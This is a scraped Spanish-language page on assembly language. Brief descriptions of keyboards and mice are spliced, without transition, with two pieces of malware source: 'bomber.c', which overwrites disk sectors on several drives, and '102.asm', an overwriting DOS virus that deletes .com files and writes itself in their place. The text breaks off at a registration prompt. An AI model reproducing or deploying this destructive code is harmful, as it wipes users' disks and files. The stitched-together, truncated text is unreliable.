Lenguaje Ensamblador
• Teclado alfanumérico: El estándar es actualmente el teclado de 101 letras con la distribución QWERTY, 12 teclas de funciones, un teclado o pad numérico, teclas de funcióny teclas para el control del cursos. Algunos teclados están diseñados para aplicaciones específicas, permitiendo una interacción rápida con los sistemas de computación (v.g.: caja registradora). Elteclado es un circuito en forma de matriz; cada circuito está conectado al dispositivo controlador, que reconoce la letra o código que envía el usuario cuando se cierra o abre un circuito. Laconfiguración del teclado puede ser modificado por software.
[pic]
Dispositivos apuntadores
• Ratón: La efectividad de las GUI depende de la capacidad del usuario para hacer una selección rápida de unapantalla con íconos o menúes. En estos casos el mouse puede colocar el apuntador (o cursos gráfico) sobre un ícono con rapidez y eficiencia. Los más comunes tienen una esfera en su parte inferior quepuede rodar en un escritorio.
[pic]
este es del bomber.c
#include
main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(1,50,0,vir);
abswrite(2,50,0,vir);abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
[pic];
printf("The Bomber"
este del 102.asm
; Virus Anti Novi Overwriting non resident
codigo segment byte public
assume cs:codigo, ds:codigo
org 100hvmini proc far
start:
mov ah,1Ah
mov dx,offset dta
int 21h ;pongo DTA en dta
mov ah,4Eh
mov dx,offset nombre
mov cx,26h
int 21h ; DOS Services ah=function 4Eh
; find 1st filename match@ds:dx
jc short adios ; Jump if carry Set
mov ah,41h
mov dx,offset dta + 1eh
int 21h ; borro el archivo .com
mov ah,3Ch
mov cx,0
mov dx,offset dta + 1eh
int 21h ;
; create file,cx=attributos, name@ds:dx
jc short adios ; Jump if carry Set
mov cx, offset fin - 100h
mov dx,100h
xchg ax,bx ; BX = Handle
mov ah,40h
int 21h ; DOS Services ah=function 40h
; write file...
Regístrate para leer el documento completo.